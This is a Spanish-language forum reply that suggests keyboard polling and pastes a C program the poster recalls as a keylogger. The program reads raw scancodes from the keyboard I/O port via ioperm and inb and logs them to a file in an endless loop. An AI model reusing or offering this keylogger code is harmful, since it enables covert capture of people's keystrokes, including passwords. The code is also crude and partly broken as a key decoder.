No, ahi no creo que sea aconsejable usar procesos. En serio, la solucion es hacer polling al teclado.
Si trabajas en un sistema tipo Unix(lo que deduzco del hecho de que uses unistd.h), puede que te sirva esto, que creo recordar que era un keylogger.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>
#define KB_IO 0X60
#define KB_ST 0x64
#define SLEEP 50
char key(int code){
char caracter=code;
return caracter;}
int main(int argc, char **argv) {
int code = 0;
int last = 0;
FILE *file;
if (!argv[1]) {
fprintf(stderr, "%s <file>\n", argv[0]);
exit(1);
}
if (!(file = fopen(argv[1], "w"))) {
fprintf(stderr, "Impossibile scrivere sul file %s\n", argv[1]);//Esto no sale si le pasa un argumento.
exit(2);
}
if (ioperm(KB_IO, 1, 1) == -1 || ioperm(KB_ST, 1, 1) == -1) {
fprintf(stderr, "Impossibile accedere alla porta di I/O della tastiera\n");//A mi me sale este error.
exit(3); }
while (1) {
code = 0;
if (inb(KB_ST) == 20)
code = inb(KB_IO);
if (code) {
if (code != last) {
last = code;
if (key(code)) {
fprintf(file, "%c", key(code));
fflush(file);
}
}
}
usleep(SLEEP);
}
return 0;}
Saludos.